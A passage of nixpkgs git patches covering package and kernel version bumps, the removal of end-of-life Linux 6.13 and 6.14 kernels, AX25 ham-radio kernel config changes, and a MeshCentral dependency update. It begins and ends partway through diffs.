-
-  stripDebug = true;
-
-  mixFodDeps = fetchMixDeps {
-    pname = "mix-deps-${pname}";
-    inherit src version elixir;
-    hash = "sha256-8zs+99jwf+YX5SwD65FCPmfrYhTCx4AQGCGsDeCKxKc=";
-  };
-
   patches = [
     # fix elixir deterministic support https://github.com/elixir-lsp/elixir-ls/pull/1216
     # remove > 0.28.1
@@ -46,28 +35,25 @@ mixRelease rec {
     makeWrapper
   ];
 
-  # elixir-ls require a special step for release
-  # compile and release need to be performed together because
-  # of the no-deps-check requirement
-  buildPhase = ''
-    runHook preBuild
+  # for substitution
+  env.elixir = elixir;
 
-    mix do compile --no-deps-check, elixir_ls.release${lib.optionalString (lib.versionAtLeast elixir.version "1.16.0") "2"}
-
-    runHook postBuild
-  '';
+  dontConfigure = true;
+  dontBuild = true;
 
   installPhase = ''
+    cp -R . $out
+    ln -s $out/VERSION $out/scripts/VERSION
+
+    substituteAllInPlace $out/scripts/launch.sh
+
     mkdir -p $out/bin
-    cp -Rv release $out/libexec
 
-    substituteAllInPlace $out/libexec/launch.sh
+    makeWrapper $out/scripts/language_server.sh $out/bin/elixir-ls \
+      --set ELS_LOCAL "1"
 
-    makeWrapper $out/libexec/language_server.sh $out/bin/elixir-ls \
-      --set ELS_INSTALL_PREFIX "$out/libexec"
-
-    makeWrapper $out/libexec/debug_adapter.sh $out/bin/elixir-debug-adapter \
-      --set ELS_INSTALL_PREFIX "$out/libexec"
+    makeWrapper $out/scripts/debug_adapter.sh $out/bin/elixir-debug-adapter \
+      --set ELS_LOCAL "1"
 
     runHook postInstall
   '';
diff --git a/pkgs/development/beam-modules/elixir-ls/launch.sh.patch b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
index aabfd82a3d58..b497720e4bd9 100644
--- a/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
+++ b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
@@ -1,6 +1,6 @@
-diff --git i/scripts/launch.sh w/scripts/launch.sh
-index 21afbb1e..975cbdf0 100755
---- i/scripts/launch.sh
+diff --git c/scripts/launch.sh w/scripts/launch.sh
+index 21afbb1e..6b61f0b4 100755
+--- c/scripts/launch.sh
 +++ w/scripts/launch.sh
 @@ -1,125 +1,4 @@
 -#!/bin/sh
@@ -140,7 +140,7 @@ index 21afbb1e..975cbdf0 100755
 -  SCRIPTPATH=${ELS_INSTALL_PREFIX}
 -fi
 +SCRIPT=$(readlink -f "$0")
-+SCRIPTPATH=$(dirname "$SCRIPT")/../libexec
++SCRIPTPATH=$(dirname "$SCRIPT")/../scripts
  
  export MIX_ENV=prod
  # Mix.install prints to stdout and reads from stdin

From ae550bd4a0565cf22a3f1532f94d6a9d2a505cfb Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 22 Jul 2025 14:38:09 +0200
Subject: [PATCH 2854/4511] komikku: 1.81.0 -> 1.82.0

(cherry picked from commit 2f35dd680a2d2432f37d2a847c613390a880b708)
---
 pkgs/by-name/ko/komikku/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index bbfffa359945..30755a5ecfb2 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.81.0";
+  version = "1.82.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-k64bcJLKFUMy60a5zj740Pk3lGZ6vKaAv5HOHfoW9p4=";
+    hash = "sha256-F+RlfnKnMqlPTk1iv79ah/UaEjd7Og+gV1YVsZqkIBk=";
   };
 
   nativeBuildInputs = [
@@ -65,7 +65,6 @@ python3.pkgs.buildPythonApplication rec {
     natsort
     piexif
     pillow
-    pillow-heif
     curl-cffi
     pygobject3
     python-magic

From cf7434b60d0b678faf7199c6933ad69f84d92e6a Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 24 Jul 2025 16:07:53 +0300
Subject: [PATCH 2855/4511] linux_testing: 6.16-rc6 -> 6.16-rc7

(cherry picked from commit e82cff6cb4966bd83bc6f2b35c44a8ae72cb5b7c)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index eca0f7e2755a..ee03a4ae9eba 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc6",
-        "hash": "sha256:03sz5gbnz1s763nlq2sbqk3bmjca24hq2n9wrpqhy6gyrd11s22f"
+        "version": "6.16-rc7",
+        "hash": "sha256:071xwskg7rpa6j09khdxzzccqp8a2fk68l0p2bn7ycr51pyywxz9"
     },
     "6.1": {
         "version": "6.1.146",

From 3f63f8ada97cb4bfe753fbfe0cbf13d4c70a8e60 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 24 Jul 2025 16:07:57 +0300
Subject: [PATCH 2856/4511] linux_6_15: 6.15.7 -> 6.15.8

(cherry picked from commit b1b640337494c62c22dc765adc42971aa4732179)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index ee03a4ae9eba..fed068de7750 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -36,7 +36,7 @@
         "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
     },
     "6.15": {
-        "version": "6.15.7",
-        "hash": "sha256:1sgq32ivnrvlqskmz6i5k9157y6c5x3r9lj3pl0i23habc8ds1rm"
+        "version": "6.15.8",
+        "hash": "sha256:19i87zpq3zhpg09sdirnzys2s2yrv9xn8mpibl1a6qmr2sy94znk"
     }
 }

From 93947a09830235c4d283a0ec97d0e820d8d8c225 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 24 Jul 2025 16:08:00 +0300
Subject: [PATCH 2857/4511] linux_6_12: 6.12.39 -> 6.12.40

(cherry picked from commit 7812de8ec7cb8d7a1e2befb17387ca135d4d52cf)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index fed068de7750..8664c5d8444b 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:0dmbi7g156gknglcgb47kl1i29fa6q4rkx99m2glpiqykxr7k1mh"
     },
     "6.12": {
-        "version": "6.12.39",
-        "hash": "sha256:0iakbyipani7rcm37xb0bsl5zn7h1m7vfhwfangn64gxm012amkf"
+        "version": "6.12.40",
+        "hash": "sha256:0cr9hi0m7p9jf0rdblign1ya40rckab9axiwxb62r3gr2w9sy4a8"
     },
     "6.13": {
         "version": "6.13.12",

From c2ea52c62bfcbe267a6b143d64018daa9520e00e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 24 Jul 2025 16:08:03 +0300
Subject: [PATCH 2858/4511] linux_6_6: 6.6.99 -> 6.6.100

(cherry picked from commit 727a3d5720886e58f1100fed60a3dd1d256fa605)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8664c5d8444b..4be5a58f17ec 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx"
     },
     "6.6": {
-        "version": "6.6.99",
-        "hash": "sha256:0dmbi7g156gknglcgb47kl1i29fa6q4rkx99m2glpiqykxr7k1mh"
+        "version": "6.6.100",
+        "hash": "sha256:1flpvypy88rmp2sbz3z4fxlgdylm5lxb5832bgsi8j5iam6yrh6n"
     },
     "6.12": {
         "version": "6.12.40",

From f987a3392283aea21d2235ed6c79a80b8fd23de2 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 24 Jul 2025 16:08:05 +0300
Subject: [PATCH 2859/4511] linux_6_1: 6.1.146 -> 6.1.147

(cherry picked from commit 8d781a1dc3aeb92c1b692277e33db75e3112f910)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 4be5a58f17ec..e536df12f332 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:071xwskg7rpa6j09khdxzzccqp8a2fk68l0p2bn7ycr51pyywxz9"
     },
     "6.1": {
-        "version": "6.1.146",
-        "hash": "sha256:117gyi8zym09z2qarnv02i7v23v8596nqvllid07aydlcpihl9pv"
+        "version": "6.1.147",
+        "hash": "sha256:1xv6whvxjcdmvv0cil7nnac4hs2hxjnc98agx08xiqs179k2b3r1"
     },
     "5.15": {
         "version": "5.15.189",

From ae4dffd28d96d8c0dd26783184b5a1b131cb1ee1 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Tue, 24 Jun 2025 12:41:55 +0200
Subject: [PATCH 2860/4511] linux/common-config: enable AX25

This will allow dropping the linuxPackages_ham variant.  Fedora sets
these in their default kernel, so I don't anticipate any problem with
us doing the same.

Tested building linux_5_4, linux, and linux_latest on x86_64.

(cherry picked from commit d735743b3984a9b0a0808adab35ccc8c174bdd95)
---
 nixos/tests/ax25.nix                            | 2 --
 pkgs/os-specific/linux/kernel/common-config.nix | 4 ++++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/ax25.nix b/nixos/tests/ax25.nix
index f1092d5de101..4e814e0ffce5 100644
--- a/nixos/tests/ax25.nix
+++ b/nixos/tests/ax25.nix
@@ -8,8 +8,6 @@ import ./make-test-python.nix (
     socatPort = 1234;
 
     createAX25Node = nodeId: {
-
-      boot.kernelPackages = pkgs.linuxPackages_ham;
       boot.kernelModules = [ "ax25" ];
 
       networking.firewall.allowedTCPPorts = [ socatPort ];
diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 6b451dff2e8c..1e0890ba10d4 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -395,6 +395,10 @@ let
       # Enable debugfs for wireless drivers
       CFG80211_DEBUGFS = yes;
       MAC80211_DEBUGFS = yes;
+
+      # HAM radio
+      HAMRADIO = yes;
+      AX25 = module;
     }
     // lib.optionalAttrs (stdenv.hostPlatform.system == "aarch64-linux") {
       # Not enabled by default, hides modules behind it

From 98f749add2368fbf192350daa57bbbf32c5e2d28 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Tue, 24 Jun 2025 14:19:47 +0200
Subject: [PATCH 2861/4511] Revert "linuxPackages_ham: init"

This reverts commit b987b0ba896bf16c288365432e7549d8954d435a.

The config options previously enabled by linux_ham are now enabled in
the default kernel.

This is slightly altered to contain aliases `linux_ham = linux` to not
break that interface on stable.

(cherry picked from commit 56cbb4e5d8c3b45d577964ea9e11a5a1da9ee2aa)
---
 pkgs/top-level/aliases.nix       |  2 ++
 pkgs/top-level/all-packages.nix  |  4 ----
 pkgs/top-level/linux-kernels.nix | 21 +++------------------
 3 files changed, 5 insertions(+), 22 deletions(-)

diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6687f22fe3da..31c8d2dc3dc5 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1073,6 +1073,7 @@ mapAliases {
   linuxPackages_6_13 = linuxKernel.packages.linux_6_13;
   linuxPackages_6_14 = linuxKernel.packages.linux_6_14;
   linuxPackages_6_15 = linuxKernel.packages.linux_6_15;
+  linuxPackages_ham = linuxKernel.packages.linux_ham;
   linuxPackages_rpi0 = linuxKernel.packages.linux_rpi1;
   linuxPackages_rpi02w = linuxKernel.packages.linux_rpi3;
   linuxPackages_rpi1 = linuxKernel.packages.linux_rpi1;
@@ -1096,6 +1097,7 @@ mapAliases {
   linux_6_13 = linuxKernel.kernels.linux_6_13;
   linux_6_14 = linuxKernel.kernels.linux_6_14;
   linux_6_15 = linuxKernel.kernels.linux_6_15;
+  linux_ham = linuxKernel.kernels.linux_ham;
   linux_rpi0 = linuxKernel.kernels.linux_rpi1;
   linux_rpi02w = linuxKernel.kernels.linux_rpi3;
   linux_rpi1 = linuxKernel.kernels.linux_rpi1;
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 2b2f34f3d933..18630eb8db56 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11256,10 +11256,6 @@ with pkgs;
   linux-rt = linuxPackages-rt.kernel;
   linux-rt_latest = linuxPackages-rt_latest.kernel;
 
-  # Amateur Radio kernel
-  linuxPackages_ham = linuxKernel.packages.linux_ham;
-  linux_ham = linuxPackages_ham.kernel;
-
   # hardened kernels
   linuxPackages_hardened = linuxKernel.packages.linux_hardened;
   linux_hardened = linuxPackages_hardened.kernel;
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 0dbfdf4c6e16..8e01a5f3c9d9 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -179,22 +179,6 @@ in
           ];
         };
 
-        linux_ham = callPackage ../os-specific/linux/kernel/mainline.nix {
-          branch = "6.13";
-          kernelPatches = [
-            kernelPatches.bridge_stp_helper
-            kernelPatches.request_key_helper
-            {
-              name = "ax25-ham";
-              patch = null;
-              extraStructuredConfig = {
-                HAMRADIO = lib.kernel.yes;
-                AX25 = lib.kernel.module;
-              };
-            }
-          ];
-        };
-
         linux_rt_6_1 = callPackage ../os-specific/linux/kernel/linux-rt-6.1.nix {
           kernelPatches = [
             kernelPatches.bridge_stp_helper
@@ -348,6 +332,8 @@ in
         linux_6_9_hardened = throw "linux 6.9 was removed because it has reached its end of life upstream";
         linux_6_10_hardened = throw "linux 6.10 was removed because it has reached its end of life upstream";
         linux_6_11_hardened = throw "linux 6.11 was removed because it has reached its end of life upstream";
+
+        linux_ham = kernels.linux_latest;
       }
     )
   );
@@ -812,8 +798,6 @@ in
 
       linux_libre = recurseIntoAttrs (packagesFor kernels.linux_libre);
 
-      linux_ham = recurseIntoAttrs (packagesFor kernels.linux_ham);
-
       linux_latest_libre = recurseIntoAttrs (packagesFor kernels.linux_latest_libre);
       __recurseIntoDerivationForReleaseJobs = true;
     }
@@ -822,6 +806,7 @@ in
       linux_6_9_hardened = throw "linux 6.9 was removed because it has reached its end of life upstream";
       linux_6_10_hardened = throw "linux 6.10 was removed because it has reached its end of life upstream";
       linux_6_11_hardened = throw "linux 6.11 was removed because it has reached its end of life upstream";
+      linux_ham = recurseIntoAttrs (packagesFor kernels.linux_latest);
     }
   );
 

From 6bb0e05e12d7477eb4fe899f7c538a5b4da5a855 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Sun, 22 Jun 2025 12:22:28 +0200
Subject: [PATCH 2862/4511] linux_6_{13,14}{,_hardened}: remove

Both are EOL.

(cherry picked from commit 23b573705de96bf400a30d22bc195acb0763ac12)
---
 .../os-specific/linux/kernel/kernels-org.json |  8 -----
 pkgs/top-level/aliases.nix                    |  4 +++
 pkgs/top-level/all-packages.nix               |  4 ---
 pkgs/top-level/linux-kernels.nix              | 30 +++++--------------
 4 files changed, 12 insertions(+), 34 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index eca0f7e2755a..67f49c6b22f0 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -27,14 +27,6 @@
         "version": "6.12.39",
         "hash": "sha256:0iakbyipani7rcm37xb0bsl5zn7h1m7vfhwfangn64gxm012amkf"
     },
-    "6.13": {
-        "version": "6.13.12",
-        "hash": "sha256:0hhj49k3ksjcp0dg5yiahqzryjfdpr9c1a9ph6j9slzmkikbn7v1"
-    },
-    "6.14": {
-        "version": "6.14.11",
-        "hash": "sha256:06rvydmc2yfspidnsay5hin3i8p4fxy3bvzwnry7gjf9dl5cs71z"
-    },
     "6.15": {
         "version": "6.15.7",
         "hash": "sha256:1sgq32ivnrvlqskmz6i5k9157y6c5x3r9lj3pl0i23habc8ds1rm"
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 31c8d2dc3dc5..630445d174c6 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1112,6 +1112,10 @@ mapAliases {
   linuxPackages_latest_xen_dom0_hardened = linuxPackages_latest_hardened;
 
   # Added 2021-08-16
+  linuxPackages_6_13_hardened = linuxKernel.packages.linux_6_13_hardened;
+  linux_6_13_hardened = linuxKernel.kernels.linux_6_13_hardened;
+  linuxPackages_6_14_hardened = linuxKernel.packages.linux_6_14_hardened;
+  linux_6_14_hardened = linuxKernel.kernels.linux_6_14_hardened;
   linuxPackages_latest_hardened = throw ''
     The attribute `linuxPackages_hardened_latest' was dropped because the hardened patches
     frequently lag behind the upstream kernel. In some cases this meant that this attribute
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 18630eb8db56..cbf0ac9def82 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11271,10 +11271,6 @@ with pkgs;
   linux_6_6_hardened = linuxKernel.kernels.linux_6_6_hardened;
   linuxPackages_6_12_hardened = linuxKernel.packages.linux_6_12_hardened;
   linux_6_12_hardened = linuxKernel.kernels.linux_6_12_hardened;
-  linuxPackages_6_13_hardened = linuxKernel.packages.linux_6_13_hardened;
-  linux_6_13_hardened = linuxKernel.kernels.linux_6_13_hardened;
-  linuxPackages_6_14_hardened = linuxKernel.packages.linux_6_14_hardened;
-  linux_6_14_hardened = linuxKernel.kernels.linux_6_14_hardened;
 
   # GNU Linux-libre kernels
   linuxPackages-libre = linuxKernel.packages.linux_libre;
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 8e01a5f3c9d9..3c2849d3bbbf 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -211,22 +211,6 @@ in
           ];
         };
 
-        linux_6_13 = callPackage ../os-specific/linux/kernel/mainline.nix {
-          branch = "6.13";
-          kernelPatches = [
-            kernelPatches.bridge_stp_helper
-            kernelPatches.request_key_helper
-          ];
-        };
-
-        linux_6_14 = callPackage ../os-specific/linux/kernel/mainline.nix {
-          branch = "6.14";
-          kernelPatches = [
-            kernelPatches.bridge_stp_helper
-            kernelPatches.request_key_helper
-          ];
-        };
-
         linux_6_15 = callPackage ../os-specific/linux/kernel/mainline.nix {
           branch = "6.15";
           kernelPatches = [
@@ -318,8 +302,6 @@ in
         linux_6_1_hardened = hardenedKernelFor kernels.linux_6_1 { };
         linux_6_6_hardened = hardenedKernelFor kernels.linux_6_6 { };
         linux_6_12_hardened = hardenedKernelFor kernels.linux_6_12 { };
-        linux_6_13_hardened = hardenedKernelFor kernels.linux_6_13 { };
-        linux_6_14_hardened = hardenedKernelFor kernels.linux_6_14 { };
 
       }
       // lib.optionalAttrs config.allowAliases {
@@ -327,11 +309,15 @@ in
         linux_6_9 = throw "linux 6.9 was removed because it has reached its end of life upstream";
         linux_6_10 = throw "linux 6.10 was removed because it has reached its end of life upstream";
         linux_6_11 = throw "linux 6.11 was removed because it has reached its end of life upstream";
+        linux_6_13 = throw "linux 6.13 was removed because it has reached its end of life upstream";
+        linux_6_14 = throw "linux 6.14 was removed because it has reached its end of life upstream";
 
         linux_4_19_hardened = throw "linux 4.19 was removed because it will reach its end of life within 24.11";
         linux_6_9_hardened = throw "linux 6.9 was removed because it has reached its end of life upstream";
         linux_6_10_hardened = throw "linux 6.10 was removed because it has reached its end of life upstream";
         linux_6_11_hardened = throw "linux 6.11 was removed because it has reached its end of life upstream";
+        linux_6_13_hardened = throw "linux 6.13 was removed because it has reached its end of life upstream";
+        linux_6_14_hardened = throw "linux 6.14 was removed because it has reached its end of life upstream";
 
         linux_ham = kernels.linux_latest;
       }
@@ -743,8 +729,6 @@ in
     linux_6_1 = recurseIntoAttrs (packagesFor kernels.linux_6_1);
     linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6);
     linux_6_12 = recurseIntoAttrs (packagesFor kernels.linux_6_12);
-    linux_6_13 = recurseIntoAttrs (packagesFor kernels.linux_6_13);
-    linux_6_14 = recurseIntoAttrs (packagesFor kernels.linux_6_14);
     linux_6_15 = recurseIntoAttrs (packagesFor kernels.linux_6_15);
   }
   // lib.optionalAttrs config.allowAliases {
@@ -752,6 +736,8 @@ in
     linux_6_9 = throw "linux 6.9 was removed because it reached its end of life upstream"; # Added 2024-08-02
     linux_6_10 = throw "linux 6.10 was removed because it reached its end of life upstream"; # Added 2024-10-23
     linux_6_11 = throw "linux 6.11 was removed because it reached its end of life upstream"; # Added 2025-03-23
+    linux_6_13 = throw "linux 6.13 was removed because it reached its end of life upstream"; # Added 2025-06-22
+    linux_6_14 = throw "linux 6.14 was removed because it reached its end of life upstream"; # Added 2025-06-22
   };
 
   rtPackages = {
@@ -787,8 +773,6 @@ in
       linux_6_1_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_1_hardened);
       linux_6_6_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_6_hardened);
       linux_6_12_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_12_hardened);
-      linux_6_13_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_13_hardened);
-      linux_6_14_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_14_hardened);
 
       linux_zen = recurseIntoAttrs (packagesFor kernels.linux_zen);
       linux_lqx = recurseIntoAttrs (packagesFor kernels.linux_lqx);
@@ -807,6 +791,8 @@ in
       linux_6_10_hardened = throw "linux 6.10 was removed because it has reached its end of life upstream";
       linux_6_11_hardened = throw "linux 6.11 was removed because it has reached its end of life upstream";
       linux_ham = recurseIntoAttrs (packagesFor kernels.linux_latest);
+      linux_6_13_hardened = throw "linux 6.13 was removed because it has reached its end of life upstream";
+      linux_6_14_hardened = throw "linux 6.14 was removed because it has reached its end of life upstream";
     }
   );
 

From 87199883ccc8750bedb11bf6859aa1abb2f3859e Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Wed, 23 Jul 2025 11:41:03 +0200
Subject: [PATCH 2863/4511] meshcentral: 1.1.47 -> 1.1.48

ChangeLog: https://github.com/Ylianst/MeshCentral/releases/tag/1.1.48
(cherry picked from commit cc75e606a3adc0b3135cd1bddcdb81ec0e9e71cb)
---
 pkgs/tools/admin/meshcentral/default.nix  |   8 +-
 pkgs/tools/admin/meshcentral/package.json |  12 +-
 pkgs/tools/admin/meshcentral/yarn.lock    | 302 +++++++++++-----------
 3 files changed, 164 insertions(+), 158 deletions(-)

diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix
index 33fd196ea964..b648830321e0 100644
--- a/pkgs/tools/admin/meshcentral/default.nix
+++ b/pkgs/tools/admin/meshcentral/default.nix
@@ -8,11 +8,11 @@
 }:
 
 yarn2nix-moretea.mkYarnPackage {
-  version = "1.1.47";
+  version = "1.1.48";
 
   src = fetchzip {
-    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.47.tgz";
-    sha256 = "196d2rzmy5caaw42d3az9m4yfwjsgia82g7ic71knamd28q9rab2";
+    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.48.tgz";
+    sha256 = "0ns4pp0gswvfpyjzklsh76ych9sv9qjcn50dhain7b6cy6dkrmga";
   };
 
   patches = [
@@ -24,7 +24,7 @@ yarn2nix-moretea.mkYarnPackage {
 
   offlineCache = fetchYarnDeps {
     yarnLock = ./yarn.lock;
-    hash = "sha256-2pU0XhkiDNjkZiXA2S4RMTY4IyVEnsV/vEDtYnPjOfk=";
+    hash = "sha256-oHY21OMLVyrdJOiV9MarXWnjcKNaKtvUz26xIvVNRsw=";
   };
 
   # Tarball has CRLF line endings. This makes patching difficult, so let's convert them.
diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json
index 458ec1ed6b35..5e31c186fd18 100644
--- a/pkgs/tools/admin/meshcentral/package.json
+++ b/pkgs/tools/admin/meshcentral/package.json
@@ -1,6 +1,6 @@
 {
   "name": "meshcentral",
-  "version": "1.1.47",
+  "version": "1.1.48",
   "keywords": [
     "Remote Device Management",
     "Remote Device Monitoring",
@@ -41,8 +41,8 @@
     "archiver": "7.0.1",
     "body-parser": "1.20.3",
     "cbor": "5.2.0",
-    "compression": "1.7.5",
-    "cookie-session": "2.1.0",
+    "compression": "1.8.1",
+    "cookie-session": "2.1.1",
     "express": "4.21.2",
     "express-handlebars": "7.1.3",
     "express-ws": "5.0.2",
@@ -50,8 +50,8 @@
     "minimist": "1.2.8",
     "multiparty": "4.2.3",
     "node-forge": "1.3.1",
-    "ua-parser-js": "1.0.40",
     "ua-client-hints-js": "0.1.2",
+    "ua-parser-js": "1.0.40",
     "ws": "8.18.0",
     "yauzl": "2.10.0"
   },
@@ -77,8 +77,8 @@
     "archiver": "7.0.1",
     "body-parser": "1.20.3",
     "cbor": "5.2.0",
-    "compression": "1.7.5",
-    "cookie-session": "2.1.0",
+    "compression": "1.8.1",
+    "cookie-session": "2.1.1",
     "express": "4.21.2",
     "express-handlebars": "7.1.3",
     "express-ws": "5.0.2",
diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock
index c63c14095127..9eb55196e096 100644
--- a/pkgs/tools/admin/meshcentral/yarn.lock
+++ b/pkgs/tools/admin/meshcentral/yarn.lock
@@ -48,24 +48,24 @@
     "@smithy/util-utf8" "^2.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-cognito-identity@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.846.0.tgz#f7bfecb0c731df961058b4f63029f7556cb7eda6"
-  integrity sha512-vlzQVq1TOOYHPppmON/+oNhCxprCPPqxlqAuUddf885JcT6Q9r7FeV7S2yHli/1XC6vBa7sAninNvOjzwDbwYw==
+"@aws-sdk/client-cognito-identity@3.848.0":
+  version "3.848.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.848.0.tgz#d7461128c39214a3d37c69eae6dceddfb7931f2a"
+  integrity sha512-Sin8aLnA81MgvUJrfQsBIQ1UJg4klWT3NuYYjExLiVQf3A0/F7Bfx1HTIyWXtSchY4QgGr7MMone0/0KZ4Dy9g==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
     "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/credential-provider-node" "3.846.0"
+    "@aws-sdk/credential-provider-node" "3.848.0"
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.846.0"
+    "@aws-sdk/middleware-user-agent" "3.848.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.845.0"
+    "@aws-sdk/util-endpoints" "3.848.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.846.0"
+    "@aws-sdk/util-user-agent-node" "3.848.0"
     "@smithy/config-resolver" "^4.1.4"
     "@smithy/core" "^3.7.0"
     "@smithy/fetch-http-handler" "^5.1.0"
@@ -93,10 +93,10 @@
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-sso@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.846.0.tgz#9905ccf216e371c94ca63b1df19dba923d286307"
-  integrity sha512-7MgMl3nlwf2ixad5Xe8pFHtcwFchkx37MEvGuB00tn5jyBp3AQQ4dK3iHtj2HjhXcXD0G67zVPvH4/QNOL7/gw==
+"@aws-sdk/client-sso@3.848.0":
+  version "3.848.0"
